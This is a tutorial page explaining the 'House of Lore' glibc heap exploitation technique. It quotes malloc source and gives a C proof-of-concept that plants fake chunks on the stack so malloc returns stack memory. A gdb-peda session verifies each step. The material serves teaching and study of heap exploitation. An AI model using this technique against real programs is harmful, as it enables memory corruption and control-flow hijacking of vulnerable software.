Excuse the ads! We need some help to keep our site up.
List
House of Lore
- House of Lore is an attack that uses the process of reallocating chunks corresponding to small bins and placing chunks into small bins.
The allocator checks if the size requested for memory allocation is in the small bin range.
If the requested size is in the small bin range, the index corresponding to the requested size is found.
- And compare the value of bin[index] with the value stored in bin[index]→bk.
Save the value stored in bin[index]→bk to the "victim".
- And check that this value is zero.
If the value stored in "victim" is not 0, the value stored in victim→bk is stored in "bck".
Then check if the values of bck->fd and "victim" are different.
If they are not the same, the allocator prints an error message ("malloc (): smallbin double linked list corrupted") and terminates the process.
If they are the same, set PREV_INUSE at victi->size.
Then, the value of bck is stored in bin→bk, and the value of bin is stored in bck→fd.
- Check if the arena is the main arena.
If not the main arena, set NON_MAIN_ARENA (0x4) flag in victim → size.
The allocator then calls chunk2mem () to store the address to return(victim + 2 * SIZE_SZ) in *p and return p.
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate (av); else { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb); #if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); } } } #endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } }
The allocator checks if the size of the chunk falls in the small bin range.
If the chunk is in the small bin range, the index of that chunk is searched.
Store the value bck->fd has in fwd.
if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else {
To implement a double linked list, we store the value of bck in bk of the chunk and the value of fwd in fd.
- Store the pointer to that chunk in fwd → bk, bck → fd.
} mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
House of Lore can create a Fake chunk on Stack and can be implemented if it can overwrite the bk value of the Free chunk.
Write a fake free chunk on the stack and allocate memory for the small bin.
Free this memory to make it free chunks.
When requesting new memory allocation, free chunks are placed in Bins[].
Overwrite the Fake chunk's pointer with the Free chunk's bk.
When you ask malloc () to allocate chunks placed in the small bin, the start address of the "Fake chunk" is placed in Bins[].
And once again, when requests to malloc() the same amount of memory allocation, it returns a pointer to the area of the fake chunk.
The pointer returned is Stack memory.
What matters in the House of Lore is the structure of fake chunks.
This chunk must have the structure of a free chunk and requires two fake chunks.
- You need to store the pointer to the first fake chunk in bk of the free chunk in the heap, and the pointer to bins [idx] in the fd of the first fake chunk.
- Store a pointer to the first fake chunk in "bk" of the free chunk on the heap.
- Then store a pointer to bins[idx] in "fd" of the first Fake chunk.
The pointer to the second fake chunk is stored in "bk" of the first free chunk.
This structure bypasses the check that the double-linked list of chunks placed in the small bin is broken("bck-> fd! = Victim").
For example, in the following structure, the value of "victim" is 0x7fffffffe230 and the value of "bck→fd" is 0x7fffffffe230, so it passes the verification condition.
- Here is the flow of the House of Lore.
- Create a fake chunk on the stack, create a free chunk, and place it in a small bin.
- And store the pointer to fake chunk in "bk" of the free chunk.
- Request malloc() to allocate memory to reallocate that chunk, the allocator places the fake chunk in a small bin.
- If the attacker once again requests the same size memory allocation, the allocator returns the memory of the fake chunk.
Example
- This code is the same code as the previous example.
- Request allocation of memory of size 128 bytes, 256 bytes.
- After freeing memory of 128byte size, it requests memory allocation.
- Write a fake chunk on the stack and store the pointer to the fake chunk in bk of the free chunk.
- Then request the allocation of two memories of 128 bytes in size.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> void main(){ unsigned long fake_chunk[56]; fprintf(stderr,"fake_chunk : %p\n", fake_chunk); unsigned long *buf1 = malloc(128); unsigned long *buf2 = malloc(256); fprintf(stderr,"buf1 : %p\n", buf1); fprintf(stderr,"buf2 : %p\n", buf2); free(buf1); void *buf3 = malloc(1200); fprintf(stderr,"buf3 : %p\n", buf3); fake_chunk[2] = (unsigned long)buf1 - 0x10; fake_chunk[3] = (unsigned long)&fake_chunk[4]; fake_chunk[6] = (unsigned long)fake_chunk; buf1[1] = (unsigned long)fake_chunk; void *buf4 = malloc(128); char *buf5 = malloc(128); fprintf(stderr,"buf4 : %p\n", buf4); fprintf(stderr,"buf5 : %p\n", buf5); fprintf(stderr,"buf5 : "); read(STDIN_FILENO,buf5, 128); }
- Check at 0x40079c how the freed chunks are placed in the small bin.
- Pointers to that chunk are placed in the small bin and the pointers reassigned are checked at 0x40081e, 0x40082f.
- Check at 0x4008ad to see if the memory returned is available.
lazenca0x0@ubuntu:~$ gcc -o house_of_lore house_of_lore.c lazenca0x0@ubuntu:~$ gdb -q ./house_of_lore Reading symbols from ./house_of_lore...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x00000000004006f6 <+0>: push rbp 0x00000000004006f7 <+1>: mov rbp,rsp 0x00000000004006fa <+4>: sub rsp,0x200 0x0000000000400701 <+11>: mov rax,QWORD PTR fs:0x28 0x000000000040070a <+20>: mov QWORD PTR [rbp-0x8],rax 0x000000000040070e <+24>: xor eax,eax 0x0000000000400710 <+26>: mov rax,QWORD PTR [rip+0x200949] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400717 <+33>: lea rdx,[rbp-0x1d0] 0x000000000040071e <+40>: mov esi,0x400954 0x0000000000400723 <+45>: mov rdi,rax 0x0000000000400726 <+48>: mov eax,0x0 0x000000000040072b <+53>: call 0x4005c0 <fprintf@plt> 0x0000000000400730 <+58>: mov edi,0x80 0x0000000000400735 <+63>: call 0x4005d0 <malloc@plt> 0x000000000040073a <+68>: mov QWORD PTR [rbp-0x1f8],rax 0x0000000000400741 <+75>: mov edi,0x100 0x0000000000400746 <+80>: call 0x4005d0 <malloc@plt> 0x000000000040074b <+85>: mov QWORD PTR [rbp-0x1f0],rax 0x0000000000400752 <+92>: mov rax,QWORD PTR [rip+0x200907] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400759 <+99>: mov rdx,QWORD PTR [rbp-0x1f8] 0x0000000000400760 <+106>: mov esi,0x400965 0x0000000000400765 <+111>: mov rdi,rax 0x0000000000400768 <+114>: mov eax,0x0 0x000000000040076d <+119>: call 0x4005c0 <fprintf@plt> 0x0000000000400772 <+124>: mov rax,QWORD PTR [rip+0x2008e7] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400779 <+131>: mov rdx,QWORD PTR [rbp-0x1f0] 0x0000000000400780 <+138>: mov esi,0x400970 0x0000000000400785 <+143>: mov rdi,rax 0x0000000000400788 <+146>: mov eax,0x0 0x000000000040078d <+151>: call 0x4005c0 <fprintf@plt> 0x0000000000400792 <+156>: mov rax,QWORD PTR [rbp-0x1f8] 0x0000000000400799 <+163>: mov rdi,rax 0x000000000040079c <+166>: call 0x400580 <free@plt> 0x00000000004007a1 <+171>: mov edi,0x4b0 0x00000000004007a6 <+176>: call 0x4005d0 <malloc@plt> 0x00000000004007ab <+181>: mov QWORD PTR [rbp-0x1e8],rax 0x00000000004007b2 <+188>: mov rax,QWORD PTR [rip+0x2008a7] # 0x601060 <stderr@@GLIBC_2.2.5> 0x00000000004007b9 <+195>: mov rdx,QWORD PTR [rbp-0x1e8] 0x00000000004007c0 <+202>: mov esi,0x40097b 0x00000000004007c5 <+207>: mov rdi,rax 0x00000000004007c8 <+210>: mov eax,0x0 0x00000000004007cd <+215>: call 0x4005c0 <fprintf@plt> 0x00000000004007d2 <+220>: mov rax,QWORD PTR [rbp-0x1f8] 0x00000000004007d9 <+227>: sub rax,0x10 0x00000000004007dd <+231>: mov QWORD PTR [rbp-0x1c0],rax 0x00000000004007e4 <+238>: lea rax,[rbp-0x1d0] 0x00000000004007eb <+245>: add rax,0x20 0x00000000004007ef <+249>: mov QWORD PTR [rbp-0x1b8],rax 0x00000000004007f6 <+256>: lea rax,[rbp-0x1d0] 0x00000000004007fd <+263>: mov QWORD PTR [rbp-0x1a0],rax 0x0000000000400804 <+270>: mov rax,QWORD PTR [rbp-0x1f8] 0x000000000040080b <+277>: lea rdx,[rax+0x8] 0x000000000040080f <+281>: lea rax,[rbp-0x1d0] 0x0000000000400816 <+288>: mov QWORD PTR [rdx],rax 0x0000000000400819 <+291>: mov edi,0x80 0x000000000040081e <+296>: call 0x4005d0 <malloc@plt> 0x0000000000400823 <+301>: mov QWORD PTR [rbp-0x1e0],rax 0x000000000040082a <+308>: mov edi,0x80 0x000000000040082f <+313>: call 0x4005d0 <malloc@plt> 0x0000000000400834 <+318>: mov QWORD PTR [rbp-0x1d8],rax 0x000000000040083b <+325>: mov rax,QWORD PTR [rip+0x20081e] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400842 <+332>: mov rdx,QWORD PTR [rbp-0x1e0] 0x0000000000400849 <+339>: mov esi,0x400986 0x000000000040084e <+344>: mov rdi,rax 0x0000000000400851 <+347>: mov eax,0x0 0x0000000000400856 <+352>: call 0x4005c0 <fprintf@plt> 0x000000000040085b <+357>: mov rax,QWORD PTR [rip+0x2007fe] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400862 <+364>: mov rdx,QWORD PTR [rbp-0x1d8] 0x0000000000400869 <+371>: mov esi,0x400991 0x000000000040086e <+376>: mov rdi,rax 0x0000000000400871 <+379>: mov eax,0x0 0x0000000000400876 <+384>: call 0x4005c0 <fprintf@plt> 0x000000000040087b <+389>: mov rax,QWORD PTR [rip+0x2007de] # 0x601060 <stderr@@GLIBC_2.2.5> 0x0000000000400882 <+396>: mov rcx,rax 0x0000000000400885 <+399>: mov edx,0x7 0x000000000040088a <+404>: mov esi,0x1 0x000000000040088f <+409>: mov edi,0x40099c 0x0000000000400894 <+414>: call 0x4005e0 <fwrite@plt> 0x0000000000400899 <+419>: mov rax,QWORD PTR [rbp-0x1d8] 0x00000000004008a0 <+426>: mov edx,0x80 0x00000000004008a5 <+431>: mov rsi,rax 0x00000000004008a8 <+434>: mov edi,0x0 0x00000000004008ad <+439>: call 0x4005a0 <read@plt> 0x00000000004008b2 <+444>: nop 0x00000000004008b3 <+445>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004008b7 <+449>: xor rax,QWORD PTR fs:0x28 0x00000000004008c0 <+458>: je 0x4008c7 <main+465> 0x00000000004008c2 <+460>: call 0x400590 <__stack_chk_fail@plt> 0x00000000004008c7 <+465>: leave 0x00000000004008c8 <+466>: ret End of assembler dump. gdb-peda$ b *0x000000000040079c Breakpoint 1 at 0x40079c gdb-peda$ b *0x0000000000400816 Breakpoint 2 at 0x400816 gdb-peda$ b *0x000000000040081e Breakpoint 3 at 0x40081e gdb-peda$ b *0x000000000040082f Breakpoint 4 at 0x40082f gdb-peda$ b *0x00000000004008ad Breakpoint 5 at 0x4008ad gdb-peda$
The program was allocated two memories.
The pointer of the first memory is 0x602010 and the size is 128bytes.
- Freeing that memory makes it a free chunk.
And that chunk is placed in the unsorted bin.
Memory allocation is requested to move chunks placed in an unsorted bin to a small bin.
When memory is allocated, free chunks(0x602000) are placed in bins[16] and bins[17].
gdb-peda$ r Starting program: /home/lazenca0x0/house_of_lore fake_chunk : 0x7fffffffe2a0 buf1 : 0x602010 buf2 : 0x6020a0 Breakpoint 1, 0x000000000040079c in main () gdb-peda$ x/i $rip => 0x40079c <main+166>: call 0x400580 <free@plt> gdb-peda$ i r rdi rdi 0x602010 0x602010 gdb-peda$ p main_arena.bins[0] $1 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ ni 0x00000000004007a1 in main () gdb-peda$ p main_arena.bins[0] $2 = (mchunkptr) 0x602000 gdb-peda$ ni 0x00000000004007a6 in main () gdb-peda$ x/i $rip => 0x4007a6 <main+176>: call 0x4005d0 <malloc@plt> gdb-peda$ ni 0x00000000004007ab in main () gdb-peda$ p main_arena.bins[0] $7 = (mchunkptr) 0x7ffff7dd1b78 <main_arena+88> gdb-peda$ p main_arena.bins[16] $8 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $9 = (mchunkptr) 0x602000 gdb-peda$
- The program creates a fake chunk at 0x7fffffffe2a0.
- The pointer to the first Fake chunk is 0x7fffffffe2a0, the fd of that chunk is 0x602000, and bk is 0x7fffffffe2c0.
- The pointer of the second fake chunk is 0x7fffffffe2c0, and the fd of that chunk is 0x00007fffffffe2a0.
- Because the value of the "victim" is 0x7fffffffe2a0 and the value of bck→fd is 0x7fffffffe2a0, it passes the verification condition.
gdb-peda$ c Continuing. buf3 : 0x6021b0 Breakpoint 2, 0x0000000000400816 in main () gdb-peda$ x/3i $rip => 0x400816 <main+288>: mov QWORD PTR [rdx],rax 0x400819 <main+291>: mov edi,0x80 0x40081e <main+296>: call 0x4005d0 <malloc@plt> gdb-peda$ i r rax rax 0x7fffffffe2a0 0x7fffffffe2a0 gdb-peda$ x/8gx 0x7fffffffe2a0 0x7fffffffe2a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe2b0: 0x0000000000602000 0x00007fffffffe2c0 0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe2d0: 0x00007fffffffe2a0 0x0000000000000000 gdb-peda$ x/4gx 0x0000000000602000 0x602000: 0x0000000000000000 0x0000000000000091 0x602010: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
- After creating a fake chunk, we request memory allocation to register the chunk's pointer to the small bin.
- When memory is allocated from malloc (), a fake chunk is placed in main_arena.bins[17].
gdb-peda$ c Continuing. Breakpoint 3, 0x000000000040081e in main () gdb-peda$ x/i $rip => 0x40081e <main+296>: call 0x4005d0 <malloc@plt> gdb-peda$ i r rdi rdi 0x80 0x80 gdb-peda$ p main_arena.bins[16] $11 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $12 = (mchunkptr) 0x602000 gdb-peda$ ni gdb-peda$ p main_arena.bins[16] $14 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $15 = (mchunkptr) 0x7fffffffe2a0
- The program requests an allocation of 128 bytes of memory to reallocate chunks registered in main_arena.bins [17].
- The allocator determines that there are chunks available in the small bin, and reallocates the chunks registered in main_arena.bins[17].
- The pointer to the reallocated chunk(0x7fffffffe2b0) is the area of the fake chunk.
gdb-peda$ c Continuing. Breakpoint 4, 0x000000000040082f in main () gdb-peda$ x/i $rip => 0x40082f <main+313>: call 0x4005d0 <malloc@plt> gdb-peda$ i r rdi rdi 0x80 0x80 gdb-peda$ ni 0x0000000000400834 in main () gdb-peda$ p main_arena.bins[16] $17 = (mchunkptr) 0x602000 gdb-peda$ p main_arena.bins[17] $18 = (mchunkptr) 0x7fffffffe2c0 gdb-peda$ i r rax rax 0x7fffffffe2b0 0x7fffffffe2b0 gdb-peda$ x/6gx 0x7fffffffe2b0 0x7fffffffe2b0: 0x00007ffff7dd1bf8 0x00007fffffffe2c0 0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe2d0: 0x00007ffff7dd1bf8 0x0000000000000000 gdb-peda$
- An attacker could store data in a pointer to the returned fake chunk.
- This means that you can change the flow chart of the program according to the situation.
gdb-peda$ c Continuing. buf4 : 0x602010 buf5 : 0x7fffffffe2b0 buf5 : Breakpoint 5, 0x00000000004008ad in main () gdb-peda$ x/i $rip => 0x4008ad <main+439>: call 0x4005a0 <read@plt> gdb-peda$ i r rsi rsi 0x7fffffffe2b0 0x7fffffffe2b0 gdb-peda$ x/4gx 0x7fffffffe2b0 0x7fffffffe2b0: 0x00007ffff7dd1bf8 0x00007fffffffe2c0 0x7fffffffe2c0: 0x0000000000000000 0x0000000000000000 gdb-peda$ ni AAAAAAAAAAAAAAAA 0x00000000004008b2 in main () gdb-peda$ x/4gx 0x7fffffffe2b0 0x7fffffffe2b0: 0x4141414141414141 0x4141414141414141 0x7fffffffe2c0: 0x000000000000000a 0x0000000000000000 gdb-peda$
Related information
- https://github.com/shellphish/how2heap
- https://gbmaster.wordpress.com/2015/07/16/x86-exploitation-101-house-of-lore-people-and-traditions